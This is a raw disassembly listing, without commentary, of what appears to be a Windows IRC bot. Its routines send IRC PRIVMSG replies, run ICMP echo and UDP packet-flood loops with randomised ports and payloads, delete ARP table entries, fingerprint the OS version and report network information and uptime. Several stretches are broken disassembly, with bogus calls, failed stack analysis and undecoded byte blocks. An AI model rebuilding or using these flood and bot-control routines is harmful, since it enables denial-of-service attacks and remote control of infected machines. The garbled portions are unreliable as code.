sub_407F67 proc near ; CODE XREF: .nsp0:loc_40EEEAp
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
loc_407F86: ; CODE XREF: sub_407E71:loc_407F2Aj
call dword_433B44 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40802D
sub ecx, 32h
jz loc_408026
sub ecx, 48h
jz short loc_407FC7
sub ecx, 6Eh
jz short loc_407FC0
loc_407FA9: ; CODE XREF: sub_407F67+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42529C
push eax
call sub_411EEE
add esp, 0Ch
jmp short loc_408007
; ---------------------------------------------------------------------------
loc_407FC0: ; CODE XREF: sub_407F67+40j
push offset unk_425264
jmp short loc_407FF9
; ---------------------------------------------------------------------------
loc_407FC7: ; CODE XREF: sub_407F67+3Bj
push [ebp+var_8]
call sub_41279F
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_411F70
add esp, 10h
cmp esi, edi
jz short loc_407FF4
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_433B44 ; GetIpNetTable
cmp eax, edi
jz short loc_40802D
jmp short loc_407FA9
; ---------------------------------------------------------------------------
loc_407FF4: ; CODE XREF: sub_407F67+79j
push offset unk_425220
loc_407FF9: ; CODE XREF: sub_407F67+5Ej
; sub_407F67+C4j
lea eax, [ebp+var_88]
push eax
call sub_411EEE
pop ecx
pop ecx
loc_408007: ; CODE XREF: sub_407F67+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_408E17
pop ecx
loc_408017: ; CODE XREF: sub_407F67+C8j
; sub_407F67+DCj
push esi
call sub_412813
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_408026: ; CODE XREF: sub_407F67+32j
push offset unk_4251DC
jmp short loc_407FF9
; ---------------------------------------------------------------------------
loc_40802D: ; CODE XREF: sub_407F67+29j
; sub_407F67+89j
cmp [esi], edi
jbe short loc_408017
lea ebx, [esi+4]
loc_408034: ; CODE XREF: sub_407F67+DAj
push ebx
call dword_433B40 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_408034
jmp short loc_408017
sub_407F67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408045 proc near ; CODE XREF: .nsp0:0040252Fp
; sub_4032B0+4Ep ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_411F70
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_433A6C ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_433DFC
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_411EEE
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_408045 endp
; =============== S U B R O U T I N E =======================================
sub_40809E proc near ; CODE XREF: .nsp0:004012FEp
; .nsp0:00401344p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_4080C7
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_4080BA: ; CODE XREF: sub_40809E+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_4080BA
pop edi
jmp short loc_4080CB
; ---------------------------------------------------------------------------
loc_4080C7: ; CODE XREF: sub_40809E+Aj
mov edx, [esp+4+arg_0]
loc_4080CB: ; CODE XREF: sub_40809E+27j
test esi, esi
pop esi
jz short loc_4080D5
movzx ecx, byte ptr [edx]
add eax, ecx
loc_4080D5: ; CODE XREF: sub_40809E+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40809E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4080EB proc near ; DATA XREF: .nsp0:0040CC56o
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_412770
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_433A54 ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_433B08 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_408146
lea eax, [ebp+var_C0]
push eax
call dword_433B4C ; gethostbyname
cmp eax, ebx
jz short loc_40814C
loc_408146: ; CODE XREF: sub_4080EB+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_4081A9
loc_40814C: ; CODE XREF: sub_4080EB+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_425320
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40818C
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_40F9F1
add esp, 14h
loc_40818C: ; CODE XREF: sub_4080EB+7Fj
lea eax, [ebp+var_344]
push eax
call sub_408E17
push [ebp+var_30]
call sub_411CB6
pop ecx
pop ecx
push edi
call near ptr 0AB0000h
cmc
loc_4081A9: ; CODE XREF: sub_4080EB+5Fj
cmp eax, ebx
jz short loc_4081B9
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_4081BC
; ---------------------------------------------------------------------------
loc_4081B9: ; CODE XREF: sub_4080EB+C0j
mov [ebp+var_4], esi
loc_4081BC: ; CODE XREF: sub_4080EB+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_411F70
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_4081DC
mov [ebp+var_3C], eax
loc_4081DC: ; CODE XREF: sub_4080EB+ECj
cmp [ebp+var_38], edi
jge short loc_4081E4
mov [ebp+var_38], edi
loc_4081E4: ; CODE XREF: sub_4080EB+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_408211
loc_4081EB: ; CODE XREF: sub_4080EB+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_4339EC ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_4081EB
loc_408211: ; CODE XREF: sub_4080EB+FEj
push [ebp+arg_0]
call dword_433B80 ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_4252E0
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40825A
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_40F9F1
add esp, 14h
loc_40825A: ; CODE XREF: sub_4080EB+14Dj
lea eax, [ebp+var_344]
push eax
call sub_408E17
push [ebp+var_30]
call sub_411CB6
pop ecx
pop ecx
push ebx
call near ptr 0AB0000h
dec ebp
sub_4080EB endp ; sp-analysis failed
loc_408277: ; DATA XREF: .nsp0:0040CD9Do
push ebp
mov ebp, esp
mov eax, 10310h
call sub_412770
mov eax, [ebp+8]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp-134h]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call dword_41D048 ; GetTickCount
push eax
call sub_411F40
pop ecx
push 11h
push 2
push 2
call dword_433B48 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp-10h]
push edi
push eax
call sub_411F70
add esp, 0Ch
lea eax, [ebp-0B0h]
mov word ptr [ebp-10h], 2
push eax
call dword_433B08 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jnz short loc_40835C
lea eax, [ebp-0B0h]
push eax
call dword_433B4C ; gethostbyname
cmp eax, edi
jnz short near ptr loc_408354+1
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-334h]
push offset dword_42539C
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp-18h], edi
jnz short loc_408338
push edi
lea eax, [ebp-334h]
push dword ptr [ebp-1Ch]
push eax
lea eax, [ebp-130h]
push eax
push dword ptr [ebp-134h]
call sub_40F9F1
add esp, 14h
loc_408338: ; CODE XREF: .nsp0:00408316j
lea eax, [ebp-334h]
push eax
call sub_408E17
push dword ptr [ebp-20h]
call sub_411CB6
pop ecx
pop ecx
push esi
call near ptr 0AB0000h
loc_408354: ; CODE XREF: .nsp0:004082F6j
mov eax, [bx+si+0Ch]
mov eax, [eax]
jmp short loc_40835F
; ---------------------------------------------------------------------------
loc_40835C: ; CODE XREF: .nsp0:004082E5j
lea eax, [ebp+8]
loc_40835F: ; CODE XREF: .nsp0:0040835Aj
mov eax, [eax]
cmp [ebp-24h], edi
mov [ebp-0Ch], eax
jnz short loc_40837A
call sub_411F4A
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_40837D
; ---------------------------------------------------------------------------
loc_40837A: ; CODE XREF: .nsp0:00408367j
push dword ptr [ebp-24h]
loc_40837D: ; CODE XREF: .nsp0:00408378j
call dword_433AC8 ; ntohs
cmp [ebp-24h], esi
mov [ebp-0Eh], ax
jge short loc_40838F
mov [ebp-24h], esi
loc_40838F: ; CODE XREF: .nsp0:0040838Aj
mov eax, 0FFFFh
cmp [ebp-24h], eax
jle short loc_40839C
mov [ebp-24h], eax
loc_40839C: ; CODE XREF: .nsp0:00408397j
mov eax, [ebp-30h]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp-28h], edi
mov [ebp-30h], eax
jnz short loc_4083B0
mov [ebp-28h], esi
loc_4083B0: ; CODE XREF: .nsp0:004083ABj
xor esi, esi
cmp [ebp-2Ch], edi
jle short loc_4083D1
loc_4083B7: ; CODE XREF: .nsp0:004083CFj
call sub_411F4A
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp-2Ch]
mov [ebp+esi-10311h], dl
jl short loc_4083B7
loc_4083D1: ; CODE XREF: .nsp0:004083B5j
; .nsp0:00408413j ...
mov eax, [ebp-30h]
dec dword ptr [ebp-30h]
test eax, eax
jle short loc_408430
push 0Bh
pop esi
loc_4083DE: ; CODE XREF: .nsp0:0040840Ej
lea eax, [ebp-10h]
push 10h
push eax
push edi
call sub_411F4A
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp-2Ch]
sub eax, edx
push eax
lea eax, [ebp-10310h]
push eax
push ebx
call dword_433B2C ; sendto
push dword ptr [ebp-28h]
call dword_41D05C ; Sleep
dec esi
jnz short loc_4083DE
cmp [ebp-24h], edi
jnz short loc_4083D1
call sub_411F4A
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_433AC8 ; ntohs
mov [ebp-0Eh], ax
jmp short loc_4083D1
; ---------------------------------------------------------------------------
loc_408430: ; CODE XREF: .nsp0:004083D9j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-334h]
push offset dword_42535C
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp-18h], edi
jnz short loc_408470
push edi
lea eax, [ebp-334h]
push dword ptr [ebp-1Ch]
push eax
lea eax, [ebp-130h]
push eax
push dword ptr [ebp-134h]
call sub_40F9F1
add esp, 14h
loc_408470: ; CODE XREF: .nsp0:0040844Ej
lea eax, [ebp-334h]
push eax
call sub_408E17
push dword ptr [ebp-20h]
call sub_411CB6
pop ecx
pop ecx
push edi
call near ptr 0AB0000h
lodsb
; =============== S U B R O U T I N E =======================================
sub_40848D proc near ; CODE XREF: sub_4084F5+7Ep
; .nsp0:loc_408686p
mov eax, dword_433E14
push esi
mov esi, dword_41D074
cmp eax, 0FFFFFFFFh
jz short loc_4084A1
push eax
call esi ; dword_41D074
loc_4084A1: ; CODE XREF: sub_40848D+Fj
mov eax, dword_433E1C
cmp eax, 0FFFFFFFFh
jz short loc_4084AE
push eax
call esi ; dword_41D074
loc_4084AE: ; CODE XREF: sub_40848D+1Cj
mov eax, dword_433E10
cmp eax, 0FFFFFFFFh
jz short loc_4084BB
push eax
call esi ; dword_41D074
loc_4084BB: ; CODE XREF: sub_40848D+29j
pop esi
retn
sub_40848D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4084BD proc near ; CODE XREF: .nsp0:0040E437p
var_17F68A40 = dword ptr -17F68A40h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_4126F0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_433E18
call near ptr 0AB0000h
test [ebp+var_17F68A40], 0FFFFFFA1h
xor eax, eax
leave
retn
sub_4084BD endp
; ---------------------------------------------------------------------------
push 1
pop eax
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4084F5 proc near ; CODE XREF: .nsp0:0040864Fp
; .nsp0:0040866Ep ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_432708
push [ebp+arg_4]
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_408538
push 7D0h
call dword_41D05C ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_411EEE
add esp, 10h
jmp short loc_40854F
; ---------------------------------------------------------------------------
loc_408538: ; CODE XREF: sub_4084F5+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_411EEE
add esp, 0Ch
loc_40854F: ; CODE XREF: sub_4084F5+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_433B18 ; send
test eax, eax
jg short loc_408578
call sub_40848D
loc_408578: ; CODE XREF: sub_4084F5+7Cj
xor eax, eax
leave
retn
sub_4084F5 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_433E20
loc_408594: ; CODE XREF: .nsp0:004085F5j
; .nsp0:00408657j
push esi
lea eax, [ebp-20Ch]
push edi
push eax
call sub_411F70
add esp, 0Ch
lea eax, [ebp-4]
push edi
push edi
push eax
lea eax, [ebp-20Ch]
push esi
push eax
push dword_433E14
call near ptr 0AB0000h
xchg eax, esp
test eax, eax
jz loc_408662
cmp [ebp-4], edi
jnz short loc_4085F7
lea eax, [ebp-8]
push eax
push dword_433E10
call near ptr 0AB0000h
xchg eax, edi
test eax, eax
jz short loc_4085ED
cmp dword ptr [ebp-8], 103h
jnz loc_408686
loc_4085ED: ; CODE XREF: .nsp0:004085DEj
push 0Ah
call dword_41D05C ; Sleep
jmp short loc_408594
; ---------------------------------------------------------------------------
loc_4085F7: ; CODE XREF: .nsp0:004085CAj
xor eax, eax
cmp [ebp-4], edi
jbe short loc_40860E
loc_4085FE: ; CODE XREF: .nsp0:0040860Cj
cmp byte ptr [ebp+eax-20Ch], 0Ah
jz short loc_40865C
inc eax
cmp eax, [ebp-4]
jb short loc_4085FE
loc_40860E: ; CODE XREF: .nsp0:004085FCj
mov [ebp-4], esi
loc_408611: ; CODE XREF: .nsp0:00408660j
push esi
lea eax, [ebp-20Ch]
push edi
push eax
call sub_411F70
add esp, 0Ch
lea eax, [ebp-0Ch]
push edi
push eax
push dword ptr [ebp-4]
lea eax, [ebp-20Ch]
push eax
push dword_433E14
call dword_41D098 ; ReadFile
test eax, eax
jz short near ptr loc_4086AD+1
lea eax, [ebp-20Ch]
push eax
push ebx
push dword_433E54
call sub_4084F5
add esp, 0Ch
jmp loc_408594
; ---------------------------------------------------------------------------
loc_40865C: ; CODE XREF: .nsp0:00408606j
inc eax
mov [ebp-4], eax
jmp short loc_408611
; ---------------------------------------------------------------------------
loc_408662: ; CODE XREF: .nsp0:004085C1j
push offset dword_425468
push ebx
push dword_433E54
call sub_4084F5
push dword ptr [ebp+8]
call sub_411CB6
add esp, 10h
push 1
call near ptr 0AB0000h
scasd
loc_408686: ; CODE XREF: .nsp0:004085E7j
call sub_40848D
push offset dword_42542C
push ebx
push dword_433E54
call sub_4084F5
push dword ptr [ebp+8]
call sub_411CB6
add esp, 10h
push edi
call near ptr 0AB0000h
loc_4086AD: ; CODE XREF: .nsp0:0040863Fj
xchg ch, [eax-18h]
push ebx
inc edx
add [ebx-1], dl
xor eax, offset dword_433E54
call sub_4084F5
push dword ptr [ebp+8]
call sub_411CB6
add esp, 10h
push edi
call near ptr 0AB0000h
jmp far ptr 78ECh:81EC8B55h ; CODE XREF: .nsp0:0040EF72p
; ---------------------------------------------------------------------------
db 3
dd 56530000h, 0FDABE857h, 0F633FFFFh, 0FE88858Dh, 5056FFFFh
dd 10468h, 28685600h, 56004255h, 3B8415FFh, 0C0850043h
dd 0C5840Fh, 16A0000h, 5BE4458Dh, 0D0FC3D8Bh, 50560041h
dd 0C7F4458Dh, 0CE445h, 8D500000h, 8950F045h, 7589EC5Dh
dd 85D7FFE8h, 98840FC0h, 8D000000h, 5056E445h, 50F8458Dh
dd 50FC458Dh, 0C085D7FFh, 81840Fh, 3D8B0000h, 41D0F8h
dd 5656036Ah, 433E1868h, 50D7FF00h, 0FFF875FFh, 99E850D7h
dd 42006A78h, 5F74C085h, 458D106Ah, 0E85056D4h, 97F8h
dd 458D446Ah, 56575F8Ch, 97EAE850h, 458B0000h, 18C483FCh
dd 8BC44589h, 4589F445h, 0CC4589C8h, 89D4458Dh, 8D508C7Dh
dd 56508C45h, 56535656h, 432708BBh, 858D5600h, 0FFFFFE88h
dd 45C75053h, 101B8h, 75896600h, 783AE8BCh, 8539006Ah
dd 830875C0h, 0AEE9FFC8h, 0FF000000h, 3D8BFC75h, 41D074h
dd 458BD7FFh, 0D875FFF0h, 433E14A3h, 0F8458B00h, 433E1CA3h
dd 0D4458B00h, 433E10A3h, 8BD7FF00h, 75390845h, 3E54A30Ch
dd 5740043h, 0EB0C75FFh, 20685301h, 0E800433Eh, 96D6h
dd 6A565959h, 54F46807h, 73E80042h, 8B000091h, 0DC4D8BF8h
dd 234FF69h, 0C4830000h, 608F890Ch, 8D00438Ch, 5651D04Dh
dd 857C6850h, 56560040h, 0D07015FFh, 0C63B0041h, 8C6C8789h
dd 27750043h, 0D06C15FFh, 8D500041h, 0FFFC8885h, 54AC68FFh
dd 0E8500042h, 967Eh, 0FC88858Dh, 0E850FFFFh, 59Bh, 3310C483h
dd 5B5E5FC0h
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
sub_408886 proc near ; CODE XREF: sub_405787+74p
; .nsp0:0040F016p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call dword_41D048 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_433E5C
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41246A
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_408886 endp
; ---------------------------------------------------------------------------
db 53h
dd 40BE5756h, 0F000F42h, 3E86831h, 0FA8B0000h, 15FFD88Bh
dd 41D05Ch, 0C32B310Fh, 0D71B006Ah, 0E8505256h, 0B278h
dd 0D88BFA8Bh, 0D777FF85h, 0DE3B0472h, 6AD177h, 5357646Ah
dd 0B1DFE8h, 6ACA8B00h, 8BD23364h, 58C985F0h, 5725B77h
dd 7350FE83h, 334B6A05h, 0C98558D2h, 5724B77h, 7347FE83h
dd 33426A05h, 0C98558D2h, 5723B77h, 7337FE83h, 33326A05h
dd 0C98558D2h, 5722B77h, 7326FE83h, 33216A05h, 0C98558D2h
dd 5721B77h, 731EFE83h, 33196A05h, 0C98558D2h, 5720B77h
dd 730AFE83h, 33C03304h, 1BC62BD2h, 13C303D1h, 5B5E5FD7h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4089A5 proc near ; CODE XREF: .nsp0:0040F1B3p
var_1137B = byte ptr -1137Bh
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_432708
mov [ebp+var_CC], 94h
call dword_41D100 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_408A2C
cmp [ebp+var_C4], ebx
jnz short loc_408A08
cmp [ebp+var_BC], 1
jnz short loc_4089F2
mov [ebp+var_4], offset a95 ; "95"
loc_4089F2: ; CODE XREF: sub_4089A5+44j
cmp [ebp+var_BC], 2
jnz loc_408AA7
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_408A78
; ---------------------------------------------------------------------------
loc_408A08: ; CODE XREF: sub_4089A5+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_408A1A
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_408A6F
; ---------------------------------------------------------------------------
loc_408A1A: ; CODE XREF: sub_4089A5+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_408A68
mov [ebp+var_4], offset aMe ; "ME"
jmp short loc_408A6F
; ---------------------------------------------------------------------------
loc_408A2C: ; CODE XREF: sub_4089A5+33j
cmp [ebp+var_C8], 5
jnz short loc_408A68
cmp [ebp+var_C4], ebx
jnz short loc_408A46
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_408A6F
; ---------------------------------------------------------------------------
loc_408A46: ; CODE XREF: sub_4089A5+96j
cmp [ebp+var_C4], 1
jnz short loc_408A58
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_408A6F
; ---------------------------------------------------------------------------
loc_408A58: ; CODE XREF: sub_4089A5+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_408A6F
loc_408A68: ; CODE XREF: sub_4089A5+7Cj
; sub_4089A5+8Ej
mov [ebp+var_4], offset dword_425644
loc_408A6F: ; CODE XREF: sub_4089A5+73j
; sub_4089A5+85j ...
cmp [ebp+var_BC], 2
jnz short loc_408AA7
loc_408A78: ; CODE XREF: sub_4089A5+61j
cmp [ebp+var_B8], bl
jz short loc_408AA7
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_42563C
push eax
call sub_411EEE
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_408AA7: ; CODE XREF: sub_4089A5+54j
; sub_4089A5+D1j ...
mov ax, word_425638
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4339B4
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_408AE0
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; dword_4339B4
loc_408AE0: ; CODE XREF: sub_4089A5+12Cj
push [ebp+arg_4]
call sub_408045
pop ecx
push eax
call dword_433B08 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_433A80 ; gethostbyaddr
cmp eax, ebx
jz short loc_408B09
push dword ptr [eax]
jmp short loc_408B0E
; ---------------------------------------------------------------------------
loc_408B09: ; CODE XREF: sub_4089A5+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_408B0E: ; CODE XREF: sub_4089A5+162j
lea eax, [ebp+var_3E4]
push eax
call sub_411EEE
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call near ptr 0AB0000h
or cl, [ebp+var_1137B]
jmp fword ptr [edx+46h]
sub_4089A5 endp
; ---------------------------------------------------------------------------
dw 6850h
dd offset aDdMmmYyyy ; "dd:MMM:yyyy"
dd 409BE53h, 56530000h, 6A74B7E8h, 858D0600h, 0FFFFFEA4h
dd 6850466Ah, 422124h, 0E8565353h, 6A74A0h, 8D206AF3h
dd 5053C845h, 9403E8h, 0CC48300h, 50C8458Dh, 6A7487E8h
dd 53535900h, 53E8458Dh, 18858D50h, 50FFFFFBh, 0B06BE8h
dd 0E8458D00h, 18858D50h, 50FFFFF8h, 0BF7E8h, 8B606A00h
dd 0BD8D59F0h, 0FFFFF818h, 606AA5F3h, 0F818B58Dh, 8D59FFFFh
dd 0FFF998BDh, 53A5F3FFh, 0FFFCC5E8h, 20C483FFh, 0A4858D50h
dd 50FFFFFEh, 0FEEC858Dh, 8D50FFFFh, 0FFFDA485h, 75FF50FFh
dd 0F463E80Ch, 5059FFFFh, 0FC1C858Dh, 8D50FFFFh, 0FFFB1885h
dd 858D50FFh, 0FFFFFA18h, 0FF40B5FFh, 0B5FFFFFFh, 0FFFFFF3Ch
dd 0FF38B5FFh, 75FFFFFFh, 858D50FCh, 0FFFFFA98h, 0D4458B50h
dd 530AE8C1h, 0A62E850h, 59590000h, 0D0458B50h, 530AE8C1h
dd 0A52E850h, 59590000h, 0FCB5E850h, 5052FFFFh, 42553C68h
dd 2006800h, 75FF0000h, 981CE808h, 458B0000h, 50C48308h
dd 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408C59 proc near ; CODE XREF: .nsp0:0040E352p
; .nsp0:0040F1E1p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_411F70
add esp, 0Ch
cmp dword_433BB0, 0
jnz short loc_408CCD
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_433998 ; InternetGetConnectedStateExA
test eax, eax
jnz short loc_408CAE
lea eax, [ebp+var_8C]
push offset dword_4256B8
push eax
call sub_411EEE
pop ecx
pop ecx
loc_408CAE: ; CODE XREF: sub_408C59+40j
test [ebp+var_C], 1
jz short loc_408CC6
push offset dword_4256B0
loc_408CB9: ; CODE XREF: sub_408C59+72j
lea eax, [ebp+var_8]
push eax
call sub_411EEE
pop ecx
pop ecx
jmp short loc_408CEC
; ---------------------------------------------------------------------------
loc_408CC6: ; CODE XREF: sub_408C59+59j
push offset dword_4256AC
jmp short loc_408CB9
; ---------------------------------------------------------------------------
loc_408CCD: ; CODE XREF: sub_408C59+28j
mov esi, offset off_4256A8
lea eax, [ebp+var_8]
push esi
push eax
call sub_411EEE
lea eax, [ebp+var_8C]
push esi
push eax
call sub_411EEE
add esp, 10h
loc_408CEC: ; CODE XREF: sub_408C59+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_408045
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_41246A
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_408C59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408D1F proc near ; CODE XREF: .nsp0:0040E288p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
